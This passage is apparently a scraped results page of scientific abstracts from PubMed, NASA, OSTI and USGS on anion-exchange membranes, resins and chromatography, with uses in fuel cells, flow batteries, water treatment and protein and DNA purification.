anion-exchange porous hollow-fiber membrane. PubMed Hagiwara, Kyohei; Yonedu, Shinji; Saito, Kyoichi; Shiraishi, Tomoyuki; Sugo, Takanobu; Tojyo, Tadashi; Katayama, Eisaku 2005-07-25 Gelsolin was purified from bovine plasma using an anion-exchange porous hollow-fiber membrane. The anion-change porous hollow-fiber membrane was prepared by radiation-induced graft polymerization of an epoxy-group-containing monomer, glycidyl methacrylate, and subsequent chemical modifications. Some of the epoxy groups of the polymer chain grafted onto the pore surface were converted into diethylamino groups, and the remaining epoxy groups were converted into 2-hydroxyethylamino groups. First, a gelsolin-containing dialyzed protein solution, prepared by pretreatments of ammonium sulfate precipitation and dialysis of plasma, was forced to permeate through the pores of an anion-exchange porous hollow-fiber membrane. Various proteins including gelsolin were adsorbed onto the anion-exchange polymer brush at a high rate with negligible diffusional mass-transfer resistance. Second, adsorbed gelsolin was specifically eluted by permeating 2mM calcium chloride. The amount of recovered gelsolin was 0.1 mg per 1 mL of plasma. Third, the remaining adsorbed proteins were quantitatively eluted with 1M sodium chloride, leading to a constant amount of recovered gelsolin during four cycles of purification. The total time required for gelsolin purification from 30 mL of bovine plasma was 11h, during which the time for selective adsorption of various proteins and affinity elution of gelsolin using the anion-exchange porous hollow-fiber membrane was 20 min. 12. Stomatin modulates the activity of the Anion Exchanger 1 (AE1, SLC4A1) PubMed Central Genetet, Sandrine; Desrames, Alexandra; Chouali, Youcef; Ripoche, Pierre; Lopez, Claude; Mouro-Chanteloup, Isabelle 2017-01-01 Anion Exchanger 1 (AE1) and stomatin are integral proteins of the red blood cell (RBC) membrane. Erythroid and kidney AE1 play a major role in HCO3− and Cl− exchange. Stomatins down-regulate the activity of many channels and transporters. Biochemical studies suggested an interaction of erythroid AE1 with stomatin. Moreover, we previously reported normal AE1 expression level in stomatin-deficient RBCs. Here, the ability of stomatin to modulate AE1-dependent Cl−/HCO3− exchange was evaluated using stopped-flow methods. In HEK293 cells expressing recombinant AE1 and stomatin, the permeabilities associated with AE1 activity were 30% higher in cells overexpressing stomatin, compared to cells with only endogenous stomatin expression. Ghosts from stomatin-deficient RBCs and controls were resealed in the presence of pH- or chloride-sensitive fluorescent probes and submitted to inward HCO3− and outward Cl− gradients. From alkalinization rate constants, we deduced a 47% decreased permeability to HCO3− for stomatin-deficient patients. Similarly, kinetics of Cl− efflux, followed by the probe dequenching, revealed a significant 42% decrease in patients. In situ Proximity Ligation Assays confirmed an interaction of AE1 with stomatin, in both HEK recombinant cells and RBCs. Here we show that stomatin modulates the transport activity of AE1 through a direct protein-protein interaction. PMID:28387307 13. Role of anion exchangers in Cl- and HCO3- secretion by the human airway epithelial cell line Calu-3. PubMed Kim, Dusik; Kim, Juyeon; Burghardt, Beáta; Best, Len; Steward, Martin C 2014-07-15 Despite the importance of airway surface liquid pH in the lung's defenses against infection, the mechanism of airway HCO3- secretion remains unclear. Our aim was to assess the contribution of apical and basolateral Cl-/HCO3- exchangers to Cl- and HCO3- transport in the Calu-3 cell line, derived from human airway submucosal glands. Changes in intracellular pH (pHi) were measured following substitution of Cl- with gluconate. Apical Cl- substitution led to an alkalinization in forskolin-stimulated cells, indicative of Cl-/HCO3- exchange. This was unaffected by the anion exchange inhibitor DIDS but inhibited by the CFTR blocker CFTRinh-172, suggesting that the HCO3- influx might occur via CFTR, rather than a solute carrier family 26 (SLC26) exchanger, as recently proposed. The anion selectivity of the recovery process more closely resembled that of CFTR than an SLC26 exchanger, and quantitative RT-PCR showed only low levels of SLC26 exchanger transcripts relative to CFTR and anion exchanger 2 (AE2). For pHi to rise to observed values (∼7.8) through HCO3- entry via CFTR, the apical membrane potential must reverse to at least +20 mV following Cl- substitution; this was confirmed by perforated-patch recordings. Substitution of basolateral Cl- evoked a DIDS-sensitive alkalinization, attributed to Cl-/HCO3- exchange via AE2. This appeared to be abolished in forskolin-stimulated cells but was unmasked by blocking apical efflux of HCO3- via CFTR. We conclude that Calu-3 cells secrete HCO3- predominantly via CFTR, and, contrary to previous reports, the basolateral anion exchanger AE2 remains active during stimulation, providing an important pathway for basolateral Cl- uptake. 14. Diels Alder polyphenylene anion exchange membrane for nonaqueous redox flow batteries DOE PAGES Small, Leo J.; Pratt, III, Harry D.; Fujimoto, Cy H.; ... 2015-10-23 Here highly conductive, solvent-resistant anionic Diels Alder polyphenylene (DAPP) membranes were synthesized with three different ionic contents and tested in an ionic liquid-based nonaqueous redox flow battery (RFB). These membranes display 3–10× increase in conductivity in propylene carbonate compared to some commercially available (aqueous) anion exchange membranes. The membrane with an ion content of 1.5 meq/g (DAPP1.5) proved too brittle for operation in a RFB, while the membrane with an ion content of 2.5 meq/g (DAPP2.5) allowed excessive movement of solvent and poor electrochemical yields (capacity fade). Despite having lower voltage efficiencies compared to DAPP2.5, the membrane with an intermediatemore » ion content of 2.0 meq/g (DAPP2.0) exhibited higher coulombic efficiencies (96.4% vs. 89.1%) and electrochemical yields (21.6% vs. 10.9%) after 50 cycles. Crossover of the electroactive species was the primary reason for decreased electrochemical yields. Analysis of the anolyte and catholyte revealed degradation of the electroactive species and formation of a film at the membrane-solution interface. Increases in membrane resistance were attributed to mechanical and thermal aging of the membrane; no chemical change was observed. As a result, improvements in the ionic selectivity and ionic conductivity of the membrane will increase the electrochemical yield and voltage efficiency of future nonaqueous redox flow batteries.« less 15. Diels Alder polyphenylene anion exchange membrane for nonaqueous redox flow batteries SciTech Connect Small, Leo J.; Pratt, III, Harry D.; Fujimoto, Cy H.; Anderson, Travis M. 2015-10-23 Here highly conductive, solvent-resistant anionic Diels Alder polyphenylene (DAPP) membranes were synthesized with three different ionic contents and tested in an ionic liquid-based nonaqueous redox flow battery (RFB). These membranes display 3–10× increase in conductivity in propylene carbonate compared to some commercially available (aqueous) anion exchange membranes. The membrane with an ion content of 1.5 meq/g (DAPP1.5) proved too brittle for operation in a RFB, while the membrane with an ion content of 2.5 meq/g (DAPP2.5) allowed excessive movement of solvent and poor electrochemical yields (capacity fade). Despite having lower voltage efficiencies compared to DAPP2.5, the membrane with an intermediate ion content of 2.0 meq/g (DAPP2.0) exhibited higher coulombic efficiencies (96.4% vs. 89.1%) and electrochemical yields (21.6% vs. 10.9%) after 50 cycles. Crossover of the electroactive species was the primary reason for decreased electrochemical yields. Analysis of the anolyte and catholyte revealed degradation of the electroactive species and formation of a film at the membrane-solution interface. Increases in membrane resistance were attributed to mechanical and thermal aging of the membrane; no chemical change was observed. As a result, improvements in the ionic selectivity and ionic conductivity of the membrane will increase the electrochemical yield and voltage efficiency of future nonaqueous redox flow batteries. 16. Synthesis and Structure-Property Relationships of Poly(sulfone)s for Anion Exchange Membranes SciTech Connect Yan, JL; Moore, HD; Hibbs, MR; Hickner, MA 2013-10-05 Membranes based on cationic polymers that conduct anions are important for enabling alkaline membrane fuel cells and other solid-state electrochemical devices that operate at high pH. Anion exchange membranes with poly(arylene ether sulfone) backbones are demonstrated by two routes: chloromethylation of commercially available poly(sulfone)s or radical bromination of benzylmethyl moieties in poly(sulfone)s containing tetramethylbisphenol A monomer residues. Polymers with tethered trimethylbenzyl ammonium moieties resulted from conversion of the halomethyl groups by quaternization with trimethyl amine. The water uptake of the chloromethylated polymers was dependent on the type of poly(sulfone) backbone for a given IEC. Bisphenol A-based Udel (R) poly(sulfone) membranes swelled in water to a large extent while membranes from biphenol-based Radel (R) poly(sulfone), a stiffer backbone than Udel, only showed moderate water uptake. The water uptake of cationic poly(sulfone)s was further reduced by synthesizing tetramethylbisphenol A and 4,4-biphenol-containing poly(sulfone) copolymers where the ionic groups were clustered on the tetramethylbisphenol A residues. The conductivity of all samples scaled with the bulk water uptake. The hydration number of the membranes could be increased by casting membranes from the ionic form polymers versus converting the halomethyl form cast polymers to ionic form in the solid state. (c) 2013 Wiley Periodicals, Inc. J. Polym. Sci., Part B: Polym. Phys. 2013, 51, 1790-1798, 2013 17. High performance ion chromatography of haloacetic acids on macrocyclic cryptand anion exchanger. PubMed Bruzzoniti, Maria Concetta; De Carlo, Rosa Maria; Horvath, Krisztian; Perrachon, Daniela; Prelle, Ambra; Tófalvi, Renáta; Sarzanini, Corrado; Hajós, Péter 2008-04-11 A new high performance ion chromatographic method has been developed for the separation of the nine chlorinated-brominated haloacetic acids (HAAs) that are the disinfection by-products of chlorination of drinking water, using a macrocycle-based adjustable-capacity anion-exchange separator column (IonPac Cryptand A1). A gradient method based on theoretical and experimental considerations has been optimized in which 10 mM NaOH-LiOH step gradient was performed at the third minute of the analysis. The optimized method allowed us to separate the nine HAAs and seven possibly interfering inorganic anions in less than 25 min with acceptable resolution. The minimum concentrations detectable for HAAs were between 8.0 (MBA) and 210 (TBA) microg L(-1), with linearity included between 0.9947 (TBA) and 0.9998 (MBA). To increase sensitivity, a 25-fold preconcentration step on a reversed phase substrate (LiChrolut EN) has been coupled. Application of this method to the analysis of haloacetic acids in real tap water samples is illustrated. 18. Multilayer chitosan-based open tubular capillary anion exchange column with integrated monolithic capillary suppressor. PubMed Huang, Xiaojia; Foss, Frank W; Dasgupta, Purnendu K 2011-11-30 We describe a multilayered open tubular anion exchange column fabricated by alternately pumping solutions of chitosan and glutaraldehyde. The column is terminated in an integrally bonded monolithic suppressor cast around a mandrel of a tungsten wire, composed of an acrylic acid (AA)-ethylene dimethacrylate (EDMA) monolith that is made with sufficient porogen for the monolith to function as a membrane. For a 4.5m long 75 μm bore column coated with 24 successive layers of the condensation polymer (estimated to contain ~72 molecular layers) and coupled to 1cm length of a suppressor fabricated with 55-60% AA, effective separation of several common anions (F(-), Cl(-), NO(2)(-), Br(-), NO(3)(-), average number of theoretical plates ~12,000) and adequate suppression of 1 mM KOH used as eluent was observed at a flow rate of 800 nL min(-1) to obtain sub-picomol detection limits at an operating pressure of ~1 bar. The separation is not time efficient but the system can be meritorious in unique niche applications where a small form factor is desired and liquid volume and power consumption are more important than separation speed. 19. Perchlorate adsorption and desorption on activated carbon and anion exchange resin. PubMed Yoon, In-Ho; Meng, Xiaoguang; Wang, Chao; Kim, Kyoung-Woong; Bang, Sunbaek; Choe, Eunyoung; Lippincott, Lee 2009-05-15 The mechanisms of perchlorate adsorption on activated carbon (AC) and anion exchange resin (SR-7 resin) were investigated using Raman, FTIR, and zeta potential analyses. Batch adsorption and desorption results demonstrated that the adsorption of perchlorate by AC and SR-7 resin was reversible. The reversibility of perchlorate adsorption by the resin was also proved by column regeneration test. Solution pH significantly affected perchlorate adsorption and the zeta potential of AC, while it did not influence perchlorate adsorption and the zeta potential of resin. Zeta potential measurements showed that perchlorate was adsorbed on the negatively charged AC surface. Raman spectra indicated the adsorption resulted in an obvious position shift of the perchlorate peak, suggesting that perchlorate was associated with functional groups on AC at neutral pH through interactions stronger than electrostatic interaction. The adsorbed perchlorate on the resin exhibited a Raman peak at similar position as the aqueous perchlorate, indicating that perchlorate was adsorbed on the resin through electrostatic attraction between the anion and positively charged surface sites. 20. Anion-exchange separation of Pt and Pd using perchloric and hydrochloric acid solutions USGS Publications Warehouse Petrie, R.K.; Morgan, J.W. 1982-01-01 On Biorad Ag-1X8 anion-exchange resin (200-400 mesh), Pd and Pt may be separated from one another by elution with 0.2M HClO4, and 5M HClO4, respectively. If present, Au may be retained by making the elutriants 0.003M in HCl. Alternatively, reduction by H2SO3 enables elution of Pt2+ with 6M HCl before recovery of Pd2+ with 0.2M HClO4??Ir4+ is reduced to Ir3+ by H2SO3 and may be eluted ahead of Pt2+ by 2M HCl. ?? 1982 Akade??miai Kiado??. 1. Fouling of anion exchange resin by fluorescence analysis in advanced treatment of municipal wastewaters. PubMed Li, Haibo; Li, Aimin; Shuang, Chendong; Zhou, Qing; Li, Wentao 2014-12-01 The application of anion exchange resins (AERs) has been limited by the critical problem of resin fouling, which increases the volume of the desorption concentrate and decreases treatment efficiency. To date, resin fouling has not been well studied and is poorly understood compared to membrane fouling. To reflect the resin fouling level, a resin fouling index (RFI) was established in this work according to the decrease of DOC removal after regeneration of the resin for the advanced treatment of municipal wastewater. Comparing the linear fitting results between the RFI and the fluorescence intensity indicated that the resin fouling was related to the protein-like substances with fluorescence peak T in the region of excitation wavelength <250 nm and emission wavelength <380 nm. Using their fluorescent characteristics as a label, the protein-like substances causing the fouling were further identified as hydrophilic components with molecular weights greater than 6500 Da. 2. Magnetic graphitic carbon nitride anion exchanger for specific enrichment of phosphopeptides. PubMed Zhu, Gang-Tian; He, Xiao-Mei; Chen, Xi; Hussain, Dilshad; Ding, Jun; Feng, Yu-Qi 2016-03-11 Anion-exchange chromatography (AEX) is one of the chromatography-based methods effectively being used for phosphopeptide enrichment. However, the development of AEX materials with high specificity toward phosphopeptides is still less explored as compared to immobilized metal affinity chromatography (IMAC) or metal oxide affinity chromatography (MOAC). In this work, magnetic graphitic carbon nitride (MCN) was successfully prepared and introduced as a promising AEX candidate for phosphopeptide enrichment. Due to the extremely abundant content of nitrogen with basic functionality on the surface, this material kept excellent retention for phosphopeptides at pH as low as 1.8. Benefiting from the large binding capacity at such low pH, MCN showed remarkable specificity to capture phosphopeptides from tryptic digests of standard protein mixtures as well as nonfat milk and human serum. In addition, MCN was also applied to selective enrichment of phosphopeptides from the tryptic digests of rat brain lysate and 2576 unique phosphopeptides were successfully identified. 3. Mg/Al double-metal hydroxide regeneration of anion exchange resin by electric field intensification. PubMed Wang, Ying; Li, Zhun; Li, Yansheng; Liu, Zhigang 2017-03-01 Fouled anion exchange resins were regenerated by electric field intensification of Mg/Al double-metal hydroxides. Regenerative experiments were performed with varying voltages (10-30 V) and dosages of Mg/Al hydroxides (0.045-0.135 mol and 0.015-0.045 mol, respectively) for 1-5 h. Optimal results were obtained under the following regenerative conditions: 20 V, 4 h, and 0.09/0.03 mol of Mg/Al hydroxides. The maximum regenerative capacity of resins was increased to 41.07%. The regenerative mechanism was presented by Fourier-transform infrared spectrum of resins and Mg/Al hydroxides, and the regenerative degree was analyzed with respect to conductivity, pH value, and electric current. Mg/Al hydroxides were also recycled after the regeneration. This method was proven to be cost-effective and environmentally friendly. 4. Water uptake, ionic conductivity and swelling properties of anion-exchange membrane Duan, Qiongjuan; Ge, Shanhai; Wang, Chao-Yang 2013-12-01 Water uptake, ionic conductivity and dimensional change of the anion-exchange membrane made by Tokuyama Corporation (A201 membrane) are investigated at different temperatures and water activities. Specifically, the amount of water taken up by membranes exposed to water vapor and membranes soaked in liquid water is determined. The water uptake of the A201 membrane increases with water content as well as temperature. In addition, water sorption data shows Schroeder's paradox for the AEMs investigated. The swelling properties of the A201 membrane exhibit improved dimensional stability compared with Nafion membrane. Water sorption of the A201 membrane occurs with a substantial negative excess volume of mixing. The threshold value of hydrophilic fraction in the A201 membrane for ionic conductivity is around 0.34, above which, the conductivity begins to rise quickly. This indicates that a change in the connectivity of the hydrophilic domains occurs when hydrophilic fraction approaches 0.34. 5. NASA Li/CF(x) cell problem analysis: Anion exchange chromatography analysis Bytella, Joseph 1991-05-01 An analysis was made of wiper samples used to wipe down lithium/chlorine fluorine battery components and production equipment. These components and equipment were potentially exposed to thionyl chloride vapors. In the presence of moisture, thionyl chloride decomposes to sulfur dioxide and hydrogen chloride. The wiper samples were analyzed for soluble chlorides and fluorides by anion exchange chromatography. During the examination of the test chromatographs, fluoride contamination was discovered in wiper samples from the test equipment. An analytical method to determine fluoride was developed. The first 3 extracts from the potentially exposed and clean wiper samples were tested, and the total fluoride from both groups determined. A comparison of the results from both groups was made to determine the extent of fluoride contamination. 6. Controllable Synthesis of Mn6+ Doped Nanoparticles by a Facile Anion Exchange Method Zhang, Xiaowen; Li, Yang; Liao, Chenxing; Chen, Zhi; Qiu, Jianrong 2017-01-01 Fluorescence imaging in the second near-infrared window (NIR-II, 1000-1400 nm) is attracting extensive attention. Mn6+ doped BaSO4 with broadband emission from 900 nm to 1400 nm is emerging as a new class of NIR phosphor for fluorescence imaging. Manganese has diverse valence states, thus it is difficult to prevent valence change of Mn6+ during traditional synthesis process. In this work, BaSO4:Mn6+ nanoparticles with uniform size and morphology were first successfully prepared through a fast liquid-solid solution route at room temperature. The nanoparticles exhibit broadband NIR emission from Mn6+ when excited by 808 nm lasers. This convenient strategy, based on an efficient anion exchange reaction, is proved effective for synthesizing nano-sized materials. The results reveal that our strategy has great potential in fabricating special valence state ion doped nanomaterials. 7. NASA Li/CF(x) cell problem analysis: Anion exchange chromatography analysis NASA Technical Reports Server (NTRS) Bytella, Joseph 1991-01-01 An analysis was made of wiper samples used to wipe down lithium/chlorine fluorine battery components and production equipment. These components and equipment were potentially exposed to thionyl chloride vapors. In the presence of moisture, thionyl chloride decomposes to sulfur dioxide and hydrogen chloride. The wiper samples were analyzed for soluble chlorides and fluorides by anion exchange chromatography. During the examination of the test chromatographs, fluoride contamination was discovered in wiper samples from the test equipment. An analytical method to determine fluoride was developed. The first 3 extracts from the potentially exposed and clean wiper samples were tested, and the total fluoride from both groups determined. A comparison of the results from both groups was made to determine the extent of fluoride contamination. 8. Enhancement of anion-exchange chromatography of DNA using compaction agents NASA Technical Reports Server (NTRS) Murphy, Jason C.; Fox, George E.; Willson, Richard C. 2003-01-01 The use of adsorptive chromatography for preparative nucleic acid separations is often limited by low capacity. The possibility that the adsorbent surface area sterically accessible to nucleic acid molecules could be increased by reducing their radius of gyration with compaction agents has been investigated. The equilibrium adsorption capacity of Q Sepharose anion-exchange matrix for plasmid DNA at 600 mM NaCl was enhanced by up to ca. 40% in the presence of 2.5 mM spermine. In addition, compaction agent selectivity has been demonstrated. Spermine, for example, enhances the adsorption of both plasmid and genomic DNA, spermidine enhances binding only of plasmid, and hexamine cobalt enhances only the binding of genomic DNA. Compaction may be generally useful for enhancing adsorptive separations of nucleic acids. 9. Purification of plasmid DNA from Escherichia coli ferments using anion-exchange membrane and hydrophobic chromatography. PubMed Guerrero-Germán, Patricia; Montesinos-Cisneros, Rosa Ma; Prazeres, D Miguel F; Tejeda-Mansir, Armando 2011-01-01 A novel downstream bioprocess was developed to obtain purified plasmid DNA (pDNA) from Escherichia coli ferments. The intermediate recovery and purification of the pDNA in cell lysate was conducted using hollow-fiber tangential filtration and frontal anion-exchange membrane and elution hydrophobic chromatographies. The purity of the solutions of pDNA obtained during each process stage was investigated. The results show that the pDNA solution purity increased 30-fold and more than 99% of RNA in the lysate was removed during the process operations. The combination of membrane operations and hydrophobic interaction chromatography resulted in an efficient way to recover pDNA from cell lysates. A better understanding of membrane-based technology for the purification of pDNA from clarified E. coli lysate was developed in this research. 10. Multigram group separation of actinide and lanthanide elements by LiCl-based anion exchange SciTech Connect Collins, E.D.; Benker, D.E.; Chattin, F.R.; Orr, P.B.; Ross, R.G. 1980-01-01 The laboratory-scale LiCl AIX process has been successfully adapted to the multigram scale and has been used effectively in transuranium element production campaigns to separate the lanthanide fission products from the transplutonium actinides and to partition americium and curium from the heavier elements. Corrosion of the tantalum and glass equipment has been negligible. Although radiolytic gas generation has not caused a problem, radiation exposure of the Dowex 1-X10 anion exchange resin does occur significantly. However, the 1.3-L resin bed can be used successfully to process up to 3 batches, each containing 19 g of /sup 244/Cm (54 W of decay heat). The chromatographic elution process is controlled by use of an alpha detector in the column effluent line and by periodic measurement of the neutron profile of the column. The development and use of feed pretreatment and operating methods has enabled effective and dependable operation. 11. Imidazolium-Based Polymeric Materials as Alkaline Anion-Exchange Fuel Cell Membranes NASA Technical Reports Server (NTRS) Narayan, Sri R.; Yen, Shiao-Ping S.; Reddy, Prakash V.; Nair, Nanditha 2012-01-01 Polymer electrolyte membranes that conduct hydroxide ions have potential use in fuel cells. A variety of polystyrene-based quaternary ammonium hydroxides have been reported as anion exchange fuel cell membranes. However, the hydrolytic stability and conductivity of the commercially available membranes are not adequate to meet the requirements of fuel cell applications. When compared with commercially available membranes, polystyrene-imidazolium alkaline membrane electrolytes are more stable and more highly conducting. At the time of this reporting, this has been the first such usage for imidazolium-based polymeric materials for fuel cells. Imidazolium salts are known to be electrochemically stable over wide potential ranges. By controlling the relative ratio of imidazolium groups in polystyrene-imidazolium salts, their physiochemical properties could be modulated. Alkaline anion exchange membranes based on polystyrene-imidazolium hydroxide materials have been developed. The first step was to synthesize the poly(styrene-co-(1-((4-vinyl)methyl)-3- methylimidazolium) chloride through a free-radical polymerization. Casting of this material followed by in situ treatment of the membranes with sodium hydroxide solutions provided the corresponding hydroxide salts. Various ratios of the monomers 4-chloromoethylvinylbenzine (CMVB) and vinylbenzine (VB) provided various compositions of the polymer. The preferred material, due to the relative ease of casting the film, and its relatively low hygroscopic nature, was a 2:1 ratio of CMVB to VB. Testing confirmed that at room temperature, the new membranes outperformed commercially available membranes by a large margin. With fuel cells now in use at NASA and in transportation, and with defense potential, any improvement to fuel cell efficiency is a significant development. 12. Possibility of separating toxins from bacteria associated with sudden infant death syndrome using anion exchange chromatography. PubMed Central Drucker, D B; Aluyi, H A; Morris, J A; Telford, D R; Oppenheim, B A; Crawley, B A 1992-01-01 AIMS: To develop techniques for the characterisation of toxins elaborated by a strain of Escherichia coli associated with sudden infant death syndrome (SIDS). METHODS: E coli SIDS 04, isolated from the nasopharynx of a case of SIDS, was studied. Cell-free toxin preparations were standardised, their protein measured, and analytical separation of proteins achieved using sodium dodecyl sulphate-polyacrylamide gel electrophoresis (SDS-PAGE). Acetone precipitation of proteins was required prior to Coomassie blue staining of bands. Preparative separation was achieved on an anion exchange column using a programmed concentration gradient of NaCl in TRIS buffer. Fractions were tested individually or pooled for presence of lethal toxin including endotoxin. Lethal toxin was detected with the chick embryo test system. Endotoxin was measured using a chromogenic modification of the Limulus amoebocyte assay. RESULTS: Twenty one peaks were detected by chromatography. Ten individual, or pooled, fractions were assayed for endotoxin which ranged from 27-33 pg/ml. Much greater variation was found when the same fractions were assayed in chick embryos. E coli fractions varied considerably in lethal toxicity, from 0/10 to 10/10 chick embryos killed/tested. Certain E coli fractions tested individually (lethality four out of 10 to eight out of 10) proved more lethal (10 out of 10) if pooled prior to testing. CONCLUSIONS: In E coli infection associated with SIDS relatively low concentrations of extracellular protein are lethally toxigenic for the chick embryo model of SIDS. These proteins can be separated analytically by SDS-PAGE and preparatively by anion exchange chromatography. Toxicity of individual fractions is not correlated with endotoxin concentrations in samples tested. PMID:1401212 13. Design and performance evaluation of a microfluidic ion-suppression module for anion-exchange chromatography. PubMed Wouters, Sam; Wouters, Bert; Jespers, Sander; Desmet, Gert; Eghbali, Hamed; Bruggink, Cees; Eeltink, Sebastiaan 2014-08-15 A microfluidic membrane suppressor has been constructed to suppress ions of alkaline mobile-phases via an acid-base reaction across a sulfonated poly(tetrafluoroethylene)-based membrane and was evaluated for anion-exchange separations using conductivity detection. The membrane was clamped between two chip substrates, accommodating rectangular microchannels for the eluent and regenerant flow, respectively. Additionally, a clamp-on chip holder has been constructed which allows the alignment and stacking of different chip modules. The response and efficacy of the microfluidic chip suppressor was assessed for a wide range of eluent (KOH) concentrations, using 127 and 183μm thick membranes, while optimizing the flow rate and concentration of the regenerant solution (H2SO4). The optimal operating eluent flow rate was determined at 5μL/min, corresponding to the optimal van-Deemter flow velocity of commercially-available column technology, i.e. a 0.4mm i.d.×250mm long column packed with 7.5μm anion-exchange particles. When equilibrated at 10mM KOH, a 99% decrease in conductivity signal could be obtained within 5min when applying 10mM H2SO4 regenerant at 75μL/min. A background signal as low as 1.2μS/cm was obtained, which equals the performance of a commercially-available electrolytic hollow-fiber suppressor. When increasing the temperature of the membrane suppressor from 15 to 20°C, ion suppression was significantly improved allowing the application of 75mM KOH. The applicability of the chip suppressor has been demonstrated with an isocratic baseline separation of a mixture of seven inorganic ions, yielding plate numbers between 5300 and 10,600 and with a gradient separation of a complex ion mixture. 14. Molecular tectonics. Selective exchange of cations in porous anionic hydrogen-bonded networks built from derivatives of tetraphenylborate. PubMed Malek, Nadia; Maris, Thierry; Simard, Michel; Wuest, James D 2005-04-27 Tetraphenylmethanes with multiple hydrogen-bonding sites are known to associate to form robust porous supramolecular networks. Analogous anionic networks can be built from the corresponding tetraphenylborates. Crystallization of the tetraphenylphosphonium salt of tetraphenylborate 2 produces an anionic network in which 74% of the volume is available for including cations and neutral guests. Other salts of anion 2 with diverse cations crystallize consistently to form the same network, whereas a neutral analogue of anion 2, tetraphenylmethane 1, produces an uncharged network that is far less open. Cations can be exchanged in single crystals of salts of tetraphenylborate 2 with retention of crystallinity and with selectivities similar to those observed in typical zeolites. Together, these observations provide new strategies for making ordered molecular materials by design, and they reveal that constructing such materials from charged subunits offers special advantages. 15. Ionic polymer-metal composite actuators obtained from radiation-grafted cation- and anion-exchange membranes. PubMed Park, Jong Hyuk; Han, Man Jae; Song, Dae Seock; Jho, Jae Young 2014-12-24 Two series of ionic polymer-metal composites (IPMCs), one cationic and one anionic, are designed and prepared from radiation-grafted ion-exchange membranes. Through examination of the properties of the membranes synthesized from the two grafting monomers and the two base polymers, acrylic acid-grafted poly(vinylidene fluoride-co-hexafluoropropylene) and quarternized 4-vinylpyridine-grafted poly(ethylene-co-tetrafluoroethylene) with the appropriate amount of ionic groups are employed for the fabrication of cation and anion IPMCs, respectively. The bending displacement of the cation IPMC is comparable to Nafion-based IPMC under direct- and alternating-current voltage, but back-relaxation is not observed. The actuation performance of the anion IPMC is highly improved over those reported earlier in the literature for the other anion IPMCs. 16. Magnetic cellulose ionomer/layered double hydroxide: An efficient anion exchange platform with enhanced diclofenac adsorption property. PubMed 2017-02-10 Polymeric ionomers with anion exchange capability are considered to be classes of environmentally friendly compounds as combination of them with anionic layered hydroxides constitute emerging advance materials. Biosorption by polymeric ionomer - layered double hydroxide (LDH) hybrid material exhibits an attractive green, low cost and low toxic - clean way. As a result, a novel anion exchange platform has been developed by the reaction of CaAl - LDH with Fe(2+), cellulose solution, epichlorohydrin and pyridine. Magnetite cellulose - LDH (MCL) and the ionomer were used for efficient biosorption of diclofenac sodium (DF). Results showed that ionomer has more efficiency for DF adsorption relative to MCL. Magnetite ionomer showed fast equilibrium time (2min) with maximum uptake of 268mgg(-1). Isotherm and Kinetic models were also studied. Regeneration of the sorbent was performed with a mixture of methanol -NaOH (2.0molL(-1)) solution. 17. A dication cross-linked composite anion-exchange membrane for all-vanadium flow battery applications. PubMed Zhang, Fengxiang; Zhang, Huamin; Qu, Chao 2013-12-01 We report the fabrication and properties of a high-performance, inexpensive, composite, anion-exchange membrane (AEM) for an all-vanadium flow battery (VFB) application. The AEM was fabricated by dication cross-linking without the involvement of trimethylamine, and shows well-balanced anion conductivity and robustness due to imidazolium and imidazolium-ammonium functionalities, as well as a concomitantly achieved semi-interpenetrating network structure. The VFB single cell yielded a Coulombic efficiency of 99 % and an energy efficiency of 84 % at 80 mA cm(-2) , and operated for over 900 charge/discharge cycles. This work demonstrates the combined use of several favorable AEM design rationales, such as incorporating abundant and efficient anion-exchange groups, constructing a swelling- and oxidation-resistant structure, and facile fabrication; it provides an effective way of developing high-performance, low-cost AEMs for VFB applications. 18. Solid phase extraction of lactic acid from fermentation broth by anion-exchangeable silica confined ionic liquids. PubMed Bi, Wentao; Zhou, Jun; Row, Kyung Ho 2011-01-15 Three anion-exchangeable, silica-confined ionic liquids were synthesized for solid phase extraction of lactic acid from fermentation broth, followed by high-performance liquid chromatography coupled to ultraviolet detection. By comparing the adsorption isotherms of lactic acid on different silica-confined ionic liquids, interactions between the lactic acid and sorbents were investigated. The adsorbed amounts were then fitted into different adsorption isotherm equations; finally, the Langmuir equation was selected. Then the imidazolium silica with the highest adsorption capacity of lactic acid was packed into a cartridge for solid phase extraction. The loading volume of the cartridge was optimized by the Langmuir equation and geometry. After washing with distilled water and eluting with 0.25 mol L(-1) of an HCl solution, the lactic acid was separated from interference with a recovery yield of 91.9%. Furthermore, this kind of anion-exchangeable material exhibited potential for industrial applications and separation of other anionic bioactive compounds. 19. Anion- or Cation-Exchange Membranes for NaBH4/H2O2 Fuel Cells? PubMed Sljukić, Biljana; Morais, Ana L; Santos, Diogo M F; Sequeira, César A C 2012-07-19 Direct borohydride fuel cells (DBFC), which operate on sodium borohydride (NaBH4) as the fuel, and hydrogen peroxide (H2O2) as the oxidant, are receiving increasing attention. This is due to their promising use as power sources for space and underwater applications, where air is not available and gas storage poses obvious problems. One key factor to improve the performance of DBFCs concerns the type of separator used. Both anion- and cation-exchange membranes may be considered as potential separators for DBFC. In the present paper, the effect of the membrane type on the performance of laboratory NaBH4/H2O2 fuel cells using Pt electrodes is studied at room temperature. Two commercial ion-exchange membranes from Membranes International Inc., an anion-exchange membrane (AMI-7001S) and a cation-exchange membrane (CMI-7000S), are tested as ionic separators for the DBFC. The membranes are compared directly by the observation and analysis of the corresponding DBFC's performance. Cell polarization, power density, stability, and durability tests are used in the membranes' evaluation. Energy densities and specific capacities are estimated. Most tests conducted, clearly indicate a superior performance of the cation-exchange membranes over the anion-exchange membrane. The two membranes are also compared with several other previously tested commercial membranes. For long term cell operation, these membranes seem to outperform the stability of the benchmark Nafion membranes but further studies are still required to improve their instantaneous power load. 20. Mechanism of sorption sulpho-derivative organic chelating agents on strong base anion exchanger Amberlite IRA-402 by FT-IR/PAS and DRS methods Wronski, G.; Pasieczna-Patkowska, S.; Hubicki, Z. 2008-02-01 In the paper, strong base anion exchanger Amberlite IRA-402 was modified by using sulpho-derivative organic chelating agents as: Brilliant Yellow, Xylenol Orange, Bromophenyl Blue. The investigations exhibited, that anion exchanger Amberlite IRA-402 is modified very simply by organic chelating agents (working capacity 0.25 0.5 g/cm3). 1. [Separation of coagulation factor VIII with high activity using gigaporous anion exchange chromatography]. PubMed Kang, Limei; Zhang, Yan; Luo, Jian; Li, You; Zhou, Yuefang; Yu, Rong; Su, Zhiguo 2012-06-01 A purification process to obtain coagulation factor VIII (F VIII) with high activity from human plasma was established. Based on the analysis of the size ratio between F VIII and matrix porous medium and its effect on the protein activity, a novel purification process designed was superporous ion exchange chromatography (IEC). The operating conditions of gigaporous and traditional anion exchange 